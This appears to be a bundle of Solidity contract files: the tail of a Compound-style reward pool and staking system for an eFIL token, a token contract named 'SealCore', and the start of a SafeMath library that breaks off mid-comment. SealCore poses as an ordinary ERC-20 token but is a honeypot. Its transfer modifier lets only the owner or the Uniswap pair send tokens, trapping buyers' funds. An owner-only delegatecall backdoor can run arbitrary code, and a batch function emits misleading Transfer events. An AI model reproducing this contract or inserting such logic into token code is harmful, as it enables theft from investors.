function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
interface Distributor {
// The asset to be distributed
function asset() external view returns (address);
// Return the accrued amount of account based on stored data
function accruedStored(address account) external view returns (uint);
// Accrue and distribute for caller, but not actually transfer assets to the caller
// returns the new accrued amount
function accrue() external returns (uint);
// Claim asset, transfer the given amount assets to receiver
function claim(address receiver, uint amount) external returns (uint);
}
// Copied from compound/EIP20Interface
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// Copied from compound/EIP20NonStandardInterface
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
contract Redistributor is Distributor, ExponentialNoError {
/**
* @notice The superior Distributor contract
*/
Distributor public superior;
// The accrued amount of this address in superior Distributor
uint public superiorAccruedAmount;
// The initial accrual index
uint internal constant initialAccruedIndex = 1e36;
// The last accrued block number
uint public accrualBlockNumber;
// The last accrued index
uint public globalAccruedIndex;
// Total count of shares.
uint internal totalShares;
struct AccountState {
/// @notice The share of account
uint share;
// The last accrued index of account
uint accruedIndex;
/// @notice The accrued but not yet transferred to account
uint accruedAmount;
}
// The AccountState for each account
mapping(address => AccountState) internal accountStates;
/*** Events ***/
// Emitted when dfl is accrued
event Accrued(uint amount, uint globalAccruedIndex);
// Emitted when distribute to a account
event Distributed(address account, uint amount, uint accruedIndex);
// Emitted when account claims asset
event Claimed(address account, address receiver, uint amount);
// Emitted when account transfer asset
event Transferred(address from, address to, uint amount);
constructor(Distributor superior_) public {
// set superior
superior = superior_;
// init accrued index
globalAccruedIndex = initialAccruedIndex;
}
function asset() external view returns (address) {
return superior.asset();
}
// Return the accrued amount of account based on stored data
function accruedStored(address account) external view returns(uint) {
uint storedGlobalAccruedIndex;
if (totalShares == 0) {
storedGlobalAccruedIndex = globalAccruedIndex;
} else {
uint superiorAccruedStored = superior.accruedStored(address(this));
uint delta = sub_(superiorAccruedStored, superiorAccruedAmount);
Double memory ratio = fraction(delta, totalShares);
Double memory doubleGlobalAccruedIndex = add_(Double({mantissa: globalAccruedIndex}), ratio);
storedGlobalAccruedIndex = doubleGlobalAccruedIndex.mantissa;
}
(, uint instantAccountAccruedAmount) = accruedStoredInternal(account, storedGlobalAccruedIndex);
return instantAccountAccruedAmount;
}
// Return the accrued amount of account based on stored data
function accruedStoredInternal(address account, uint withGlobalAccruedIndex) internal view returns(uint, uint) {
AccountState memory state = accountStates[account];
Double memory doubleGlobalAccruedIndex = Double({mantissa: withGlobalAccruedIndex});
Double memory doubleAccountAccruedIndex = Double({mantissa: state.accruedIndex});
if (doubleAccountAccruedIndex.mantissa == 0 && doubleGlobalAccruedIndex.mantissa > 0) {
doubleAccountAccruedIndex.mantissa = initialAccruedIndex;
}
Double memory deltaIndex = sub_(doubleGlobalAccruedIndex, doubleAccountAccruedIndex);
uint delta = mul_(state.share, deltaIndex);
return (delta, add_(state.accruedAmount, delta));
}
function accrueInternal() internal {
uint blockNumber = getBlockNumber();
if (accrualBlockNumber == blockNumber) {
return;
}
uint newSuperiorAccruedAmount = superior.accrue();
if (totalShares == 0) {
accrualBlockNumber = blockNumber;
return;
}
uint delta = sub_(newSuperiorAccruedAmount, superiorAccruedAmount);
Double memory ratio = fraction(delta, totalShares);
Double memory doubleAccruedIndex = add_(Double({mantissa: globalAccruedIndex}), ratio);
// update globalAccruedIndex
globalAccruedIndex = doubleAccruedIndex.mantissa;
superiorAccruedAmount = newSuperiorAccruedAmount;
accrualBlockNumber = blockNumber;
emit Accrued(delta, doubleAccruedIndex.mantissa);
}
/**
* @notice accrue and returns accrued stored of msg.sender
*/
function accrue() external returns (uint) {
accrueInternal();
(, uint instantAccountAccruedAmount) = accruedStoredInternal(msg.sender, globalAccruedIndex);
return instantAccountAccruedAmount;
}
function distributeInternal(address account) internal {
(uint delta, uint instantAccruedAmount) = accruedStoredInternal(account, globalAccruedIndex);
AccountState storage state = accountStates[account];
state.accruedIndex = globalAccruedIndex;
state.accruedAmount = instantAccruedAmount;
// emit Distributed event
emit Distributed(account, delta, globalAccruedIndex);
}
function claim(address receiver, uint amount) external returns (uint) {
address account = msg.sender;
// keep fresh
accrueInternal();
distributeInternal(account);
AccountState storage state = accountStates[account];
require(amount <= state.accruedAmount, "claim: insufficient value");
// claim from superior
require(superior.claim(receiver, amount) == amount, "claim: amount mismatch");
// update storage
state.accruedAmount = sub_(state.accruedAmount, amount);
superiorAccruedAmount = sub_(superiorAccruedAmount, amount);
emit Claimed(account, receiver, amount);
return amount;
}
function claimAll() external {
address account = msg.sender;
// accrue and distribute
accrueInternal();
distributeInternal(account);
AccountState storage state = accountStates[account];
uint amount = state.accruedAmount;
// claim from superior
require(superior.claim(account, amount) == amount, "claim: amount mismatch");
// update storage
state.accruedAmount = 0;
superiorAccruedAmount = sub_(superiorAccruedAmount, amount);
emit Claimed(account, account, amount);
}
function transfer(address to, uint amount) external {
address from = msg.sender;
// keep fresh
accrueInternal();
distributeInternal(from);
AccountState storage fromState = accountStates[from];
uint actualAmount = amount;
if (actualAmount == 0) {
actualAmount = fromState.accruedAmount;
}
require(fromState.accruedAmount >= actualAmount, "transfer: insufficient value");
AccountState storage toState = accountStates[to];
// update storage
fromState.accruedAmount = sub_(fromState.accruedAmount, actualAmount);
toState.accruedAmount = add_(toState.accruedAmount, actualAmount);
emit Transferred(from, to, actualAmount);
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
}
contract Staking is Redistributor {
// The token to deposit
address public property;
/*** Events ***/
// Event emitted when new property tokens is deposited
event Deposit(address account, uint amount);
// Event emitted when new property tokens is withdrawed
event Withdraw(address account, uint amount);
constructor(address property_, Distributor superior_) Redistributor(superior_) public {
property = property_;
}
function totalDeposits() external view returns (uint) {
return totalShares;
}
function accountState(address account) external view returns (uint, uint, uint) {
AccountState memory state = accountStates[account];
return (state.share, state.accruedIndex, state.accruedAmount);
}
// Deposit property tokens
function deposit(uint amount) external returns (uint) {
address account = msg.sender;
// accrue & distribute
accrueInternal();
distributeInternal(account);
// transfer property token in
uint actualAmount = doTransferIn(account, amount);
// update storage
AccountState storage state = accountStates[account];
totalShares = add_(totalShares, actualAmount);
state.share = add_(state.share, actualAmount);
emit Deposit(account, actualAmount);
return actualAmount;
}
// Withdraw property tokens
function withdraw(uint amount) external returns (uint) {
address account = msg.sender;
AccountState storage state = accountStates[account];
require(state.share >= amount, "withdraw: insufficient value");
// accrue & distribute
accrueInternal();
distributeInternal(account);
// decrease total deposits
totalShares = sub_(totalShares, amount);
state.share = sub_(state.share, amount);
// transfer property tokens back to account
doTransferOut(account, amount);
emit Withdraw(account, amount);
return amount;
}
/*** Safe Token ***/
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case.
* This will revert due to insufficient balance or insufficient allowance.
* This function returns the actual amount received,
* which may be less than `amount` if there is a fee attached to the transfer.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferIn(address from, uint amount) internal returns (uint) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(property);
uint balanceBefore = EIP20Interface(property).balanceOf(address(this));
token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was *actually* transferred
uint balanceAfter = EIP20Interface(property).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter - balanceBefore; // underflow already checked above, just subtract
}
/**
* @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory
* error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to
* insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified
* it is >= amount, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferOut(address to, uint amount) internal {
EIP20NonStandardInterface token = EIP20NonStandardInterface(property);
token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
}
contract RewardPool is RewardPoolStorage, Distributor, ExponentialNoError {
// The initial accrual index
uint internal constant initialAccruedIndex = 1e36;
/*** Events ***/
// Emitted when accrued rewards
event Accrued(uint stakingPart, address[] others, uint[] othersParts, uint debtAccruedIndex);
// Emitted when claimed rewards
event Claimed(address account, address receiver, uint amount);
// Emitted when distributed debt to miner
event DistributedDebt(string miner, uint debtDelta, uint accruedIndex);
// Emitted when repayment happend
event Repayment(string miner, address repayer, uint amount);
// Emitted when account transfer rewards
event Transferred(address from, address to, uint amount);
// Emitted when strategy is changed
event StrategyChanged(IRewardStrategy oldStrategy, IRewardStrategy newStrategy);
// Emitted when calcaultor is changed
event CalculatorChanged(IRewardCalculator oldCalculator, IRewardCalculator newCalculator);
// Emitted when staking is changed
event StakingChanged(address oldStaking, address newStaking);
// Emitted when management is changed
event ManagementChanged(IFilstManagement oldManagement, IFilstManagement newManagement);
// Emitted when liquditity is added
event LiqudityAdded(address benefactor, address admin, uint addAmount);
constructor() public { }
function getEfilAddress() internal view returns (address) {
return 0x2a2cB9bA73289D4D068BD57D3c26165DaD5Cb628;
}
function asset() external view returns (address) {
address efilAddr = getEfilAddress();
return efilAddr;
}
// Return the accrued reward of account based on stored data
function accruedStored(address account) external view returns (uint) {
if (accrualBlockNumber == getBlockNumber() || Staking(staking).totalDeposits() == 0) {
return accruedRewards[account];
}
uint totalFilst = management.getTotalMintedAmount();
// calculate rewards
uint deltaRewards = calculator.calculate(totalFilst, accrualBlockNumber);
// allocate rewards
(uint stakingPart, address[] memory others, uint[] memory othersParts) = strategy.allocate(staking, deltaRewards);
require(others.length == othersParts.length, "IRewardStrategy.allocalte: others length mismatch");
if (staking == account) {
return add_(accruedRewards[staking], stakingPart);
} else {
// add accrued rewards for others
uint sumAllocation = stakingPart;
uint accountAccruedReward = accruedRewards[account];
for (uint i = 0; i < others.length; i ++) {
sumAllocation = add_(sumAllocation, othersParts[i]);
if (others[i] == account) {
accountAccruedReward = add_(accountAccruedReward, othersParts[i]);
}
}
require(sumAllocation == deltaRewards, "sumAllocation mismatch");
return accountAccruedReward;
}
}
// Accrue and distribute for caller, but not actually transfer rewards to the caller
// returns the new accrued amount
function accrue() public returns (uint) {
uint blockNumber = getBlockNumber();
if (accrualBlockNumber == blockNumber) {
return accruedRewards[msg.sender];
}
if (Staking(staking).totalDeposits() == 0) {
accrualBlockNumber = blockNumber;
return accruedRewards[msg.sender];
}
// total number of FILST that participates in dividends
uint totalFilst = management.getTotalMintedAmount();
// calculate rewards
uint deltaRewards = calculator.calculate(totalFilst, accrualBlockNumber);
// allocate rewards
(uint stakingPart, address[] memory others, uint[] memory othersParts) = strategy.allocate(staking, deltaRewards);
require(others.length == othersParts.length, "IRewardStrategy.allocalte: others length mismatch");
// add accrued rewards for staking
accruedRewards[staking] = add_(accruedRewards[staking], stakingPart);
// add accrued rewards for others
uint sumAllocation = stakingPart;
for (uint i = 0; i < others.length; i ++) {
sumAllocation = add_(sumAllocation, othersParts[i]);
accruedRewards[others[i]] = add_(accruedRewards[others[i]], othersParts[i]);
}
require(sumAllocation == deltaRewards, "sumAllocation mismatch");
// accure debts
accureDebtInternal(deltaRewards);
// update accrualBlockNumber
accrualBlockNumber = blockNumber;
// emint event
emit Accrued(stakingPart, others, othersParts, debtAccruedIndex);
return accruedRewards[msg.sender];
}
function accureDebtInternal(uint deltaDebts) internal {
// require(accrualBlockNumber == getBlockNumber(), "freshness check");
uint totalFilst = management.getTotalMintedAmount();
Double memory ratio = fraction(deltaDebts, totalFilst);
Double memory doubleAccruedIndex = add_(Double({mantissa: debtAccruedIndex}), ratio);
// update debtAccruedIndex
debtAccruedIndex = doubleAccruedIndex.mantissa;
}
// Return the accrued debts of miner based on stored data
function accruedDebtStored(string calldata miner) external view returns(uint) {
uint storedGlobalAccruedIndex;
if (accrualBlockNumber == getBlockNumber() || Staking(staking).totalDeposits() == 0) {
storedGlobalAccruedIndex = debtAccruedIndex;
} else {
uint totalFilst = management.getTotalMintedAmount();
uint deltaDebts = calculator.calculate(totalFilst, accrualBlockNumber);
Double memory ratio = fraction(deltaDebts, totalFilst);
Double memory doubleAccruedIndex = add_(Double({mantissa: debtAccruedIndex}), ratio);
storedGlobalAccruedIndex = doubleAccruedIndex.mantissa;
}
(, uint instantAccruedAmount) = accruedDebtStoredInternal(miner, storedGlobalAccruedIndex);
return instantAccruedAmount;
}
// Return the accrued debt of miner based on stored data
function accruedDebtStoredInternal(string memory miner, uint withDebtAccruedIndex) internal view returns(uint, uint) {
Debt memory debt = minerDebts[miner];
Double memory doubleDebtAccruedIndex = Double({mantissa: withDebtAccruedIndex});
Double memory doubleMinerAccruedIndex = Double({mantissa: debt.accruedIndex});
if (doubleMinerAccruedIndex.mantissa == 0 && doubleDebtAccruedIndex.mantissa > 0) {
doubleMinerAccruedIndex.mantissa = initialAccruedIndex;
}
uint minerMintedAmount = management.getMintedAmount(miner);
Double memory deltaIndex = sub_(doubleDebtAccruedIndex, doubleMinerAccruedIndex);
uint delta = mul_(minerMintedAmount, deltaIndex);
return (delta, add_(debt.accruedAmount, delta));
}
// accrue and distribute debt for given miner
function accrue(string memory miner) public {
accrue();
distributeDebtInternal(miner);
}
function distributeDebtInternal(string memory miner) internal {
(uint delta, uint instantAccruedAmount) = accruedDebtStoredInternal(miner, debtAccruedIndex);
Debt storage debt = minerDebts[miner];
debt.accruedIndex = debtAccruedIndex;
debt.accruedAmount = instantAccruedAmount;
// emit Distributed event
emit DistributedDebt(miner, delta, debtAccruedIndex);
}
// Claim rewards, transfer given amount rewards to receiver
function claim(address receiver, uint amount) external returns (uint) {
address account = msg.sender;
// keep fresh
accrue();
uint accruedReward = accruedRewards[account];
require(accruedReward >= amount, "Insufficient value");
// transfer reward to receiver
transferRewardOut(receiver, amount);
// update storage
accruedRewards[account] = sub_(accruedReward, amount);
emit Claimed(account, receiver, amount);
return amount;
}
// Claim all accrued rewards
function claimAll() external returns (uint) {
address account = msg.sender;
// keep fresh
accrue();
uint accruedReward = accruedRewards[account];
// transfer
transferRewardOut(account, accruedReward);
// update storage
accruedRewards[account] = 0;
emit Claimed(account, account, accruedReward);
}
function transferRewardOut(address account, uint amount) internal {
address efilAddr = getEfilAddress();
EIP20Interface efil = EIP20Interface(efilAddr);
uint remaining = efil.balanceOf(address(this));
require(remaining >= amount, "Insufficient cash");
efil.transfer(account, amount);
}
// repay given amount of debts for miner
function repayDebt(string calldata miner, uint amount) external {
address repayer = msg.sender;
// keep fresh (distribute debt for miner)
accrue(miner);
// reference storage
Debt storage debt = minerDebts[miner];
uint actualAmount = amount;
if (actualAmount > debt.accruedAmount) {
actualAmount = debt.accruedAmount;
}
address efilAddr = getEfilAddress();
EIP20Interface efil = EIP20Interface(efilAddr);
require(efil.transferFrom(repayer, address(this), actualAmount), "transferFrom failed");
debt.accruedAmount = sub_(debt.accruedAmount, actualAmount);
debt.lastRepaymentBlock = getBlockNumber();
emit Repayment(miner, repayer, actualAmount);
}
function transfer(address to, uint amount) external {
address from = msg.sender;
// keep fresh
accrue();
uint actualAmount = amount;
if (actualAmount == 0) {
actualAmount = accruedRewards[from];
}
require(accruedRewards[from] >= actualAmount, "Insufficient value");
// update storage
accruedRewards[from] = sub_(accruedRewards[from], actualAmount);
accruedRewards[to] = add_(accruedRewards[to], actualAmount);
emit Transferred(from, to, actualAmount);
}
/*** Admin Functions ***/
// set management contract
function setManagement(IFilstManagement newManagement) external {
require(msg.sender == admin, "admin check");
require(address(newManagement) != address(0), "Invalid newManagement");
if (debtAccruedIndex == 0) {
debtAccruedIndex = initialAccruedIndex;
}
// save old for event
IFilstManagement oldManagement = management;
// update
management = newManagement;
emit ManagementChanged(oldManagement, newManagement);
}
// set strategy contract
function setStrategy(IRewardStrategy newStrategy) external {
require(msg.sender == admin, "admin check");
require(address(newStrategy) != address(0), "Invalid newStrategy");
// save old for event
IRewardStrategy oldStrategy = strategy;
// update
strategy = newStrategy;
emit StrategyChanged(oldStrategy, newStrategy);
}
// set calculator contract
function setCalculator(IRewardCalculator newCalculator) external {
require(msg.sender == admin, "admin check");
require(address(newCalculator) != address(0), "Invalid newCalculator");
// save old for event
IRewardCalculator oldCalculator = calculator;
// update
calculator = newCalculator;
emit CalculatorChanged(oldCalculator, newCalculator);
}
// set staking contract
function setStaking(address newStaking) external {
require(msg.sender == admin, "admin check");
require(address(Staking(newStaking).superior()) == address(this), "Staking superior mismatch");
require(Staking(newStaking).property() == filstAddress, "Staking property mismatch");
address efilAddr = getEfilAddress();
require(Staking(newStaking).asset() == efilAddr, "Staking asset mismatch");
// save old for event
address oldStaking = staking;
// update
staking = newStaking;
emit StakingChanged(oldStaking, newStaking);
}
// add eFIL to pool
function addLiqudity(uint amount) external {
// transfer in
address efilAddr = getEfilAddress();
require(EIP20Interface(efilAddr).transferFrom(msg.sender, address(this), amount), "transfer in failed");
// added accrued rewards to admin
accruedRewards[admin] = add_(accruedRewards[admin], amount);
emit LiqudityAdded(msg.sender, admin, amount);
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
function _become(RewardPoolDelegator delegator) public {
require(msg.sender == delegator.admin(), "only delegator admin can change implementation");
delegator._acceptImplementation();
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
* SealCore
* TG: https://t.me/sealcore
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SealCore {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
